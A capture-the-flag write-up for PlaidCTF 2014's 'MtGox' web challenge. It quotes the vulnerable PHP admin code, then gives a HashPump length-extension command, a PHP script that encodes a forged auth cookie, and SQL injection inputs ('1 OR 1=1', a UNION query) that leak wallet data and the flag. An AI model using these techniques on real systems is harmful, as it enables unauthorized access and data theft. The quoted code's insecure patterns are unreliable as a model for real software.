PlaidCTF 2014 Web.150 MtGox Writeup

Screen Shot 2014-04-13 at 9.22.46 PM

This challenge consists of 2 parts: an authentication bypass and a SQL injection.

When we try to visit the admin page on the given website we get the message, “Sorry, not authorized.”
Viewing the document source didn’t reveal much.

In order to obtain the raw PHP source code of this page we append “?page=admin.php” to the end of the URL to get “ “.

After doing that and viewing the source code this is what we see:

  $auth = false;
  if (isset($_COOKIE["auth"])) {
     $auth = unserialize($_COOKIE["auth"]);
     $hsh = $_COOKIE["hsh"];
     if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"]))) {
       $auth = false;
  else {
    $auth = false;
    $s = serialize($auth);
    setcookie("auth", $s);
    setcookie("hsh", hash("sha256", $SECRET . strrev($s)));
  if ($auth) {
    if (isset($_GET['query'])) {
      $link = mysql_connect('localhost', $SQL_USER, $SQL_PASSWORD) or die('Could not connect: ' . mysql_error());
      mysql_select_db($SQL_DATABASE) or die('Could not select database');
      $qstr = mysql_real_escape_string($_GET['query']);
      $query = "SELECT amount FROM plaidcoin_wallets WHERE id=$qstr";
      $result = mysql_query($query) or die('Query failed: ' . mysql_error());
      $line = mysql_fetch_array($result, MYSQL_ASSOC);
      foreach ($line as $col_value) {
        echo "Wallet " . $_GET['query'] . " contains " . $col_value . " coins.";
    } else {
       echo "<html><head><title>MtPOX Admin Page</title></head><body>Welcome to the admin panel!<br /><br /><form name='input' action='admin.php' method='get'>Wallet ID: <input type='text' name='query'><input type='submit' value='Submit Query'></form></body></html>";
  else echo "Sorry, not authorized.";

So apparently our cookie consists of 2 parts: an auth value and a hsh value. And a secret is prepended to the auth string reversed before the result is used to create a SHA256 hash.

This is what our cookie looks like in Burp:
Screen Shot 2014-04-13 at 3.38.42 AM

After doing some research I discovered I could perform a hash length extension attack on this application.

Before this challenge I had never heard of hash length extension attacks and since this is a writeup for the challenge, and not a hash length extension attack tutorial I won’t go too much into the details. But all you need to know is that given an application that prepends a secret to a string before hashing it, the application is vulnerable if an attacker knows the string, the hash and the length of the secret. The actual value of the secret is not needed to perform this attack. The attacker is able to append extra information to the original string and still generate a valid hash from it without knowing the secret. Usually the new string will require extra padding as different hash algorithms require input lengths to be multiples of a certain number. Also, it’s important to note that in a query the extra data that is appended is given preference over the original data. To learn more about hash length extension attacks please refer to this article.

Essentially what we want to do is set the auth value to b=1; and generate a valid hash from the new string that has b=1; appended to it.

To do this I used hash pump:

root@bt:~/HashPump# ./hashpump -d ";0:b" -a ";1:b" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -k 8

Note that in the ‘about’ page on the site we are told that the length of the secret is 8 bytes.
This is necessary to obtain the value of the last byte of padding!
The newly generated signature/hash is 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1 and the new string w/padding is ;0:b\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`;1:b

Next, we have to URL encode the new string in order for the application to parse it properly.
To do this I made a quick PHP script:

print urlencode(strrev(";0:b\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`;1:b"));

Notice that we have to reverse the string first before URL encoding because we want ;0:b to be in the beginning of our string and in the if statement where the hash is being validated, the string is reversed before it is hashed:

if ($hsh !== hash("sha256", $SECRET . strrev($_COOKIE["auth"])))

This gives us the following result which we will plug in as our new auth value in our cookie:

root@bt:~/pctf14# php auth.php 

With our new cookie we are able to bypass authentication and get to this page:
Screen Shot 2014-04-13 at 3.16.45 PM

After this, we must perform a SQL injection to leak the amount of coins.
Even though the mysql_real_escape_string() function in the PHP source code performs some sanitization, it is still vulnerable to 1 OR 1=1
Screen Shot 2014-04-13 at 3.26.58 PM

Finally we perform another SQL injection, this time using the UNION operator to leak the id of the entry in the table that has all these coins.
Screen Shot 2014-04-13 at 3.30.45 PM

The flag is flag{phpPhPphpPPPphpcoin}

Big thanks to chuckleberry for helping me out and to PPP for hosting an awesome CTF competition!


One thought on “PlaidCTF 2014 Web.150 MtGox Writeup

  1. Pingback: HashPump - A Tool To Exploit The Hash Length Extension Attack In Various Hashing Algorithms - DigitalMunition

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s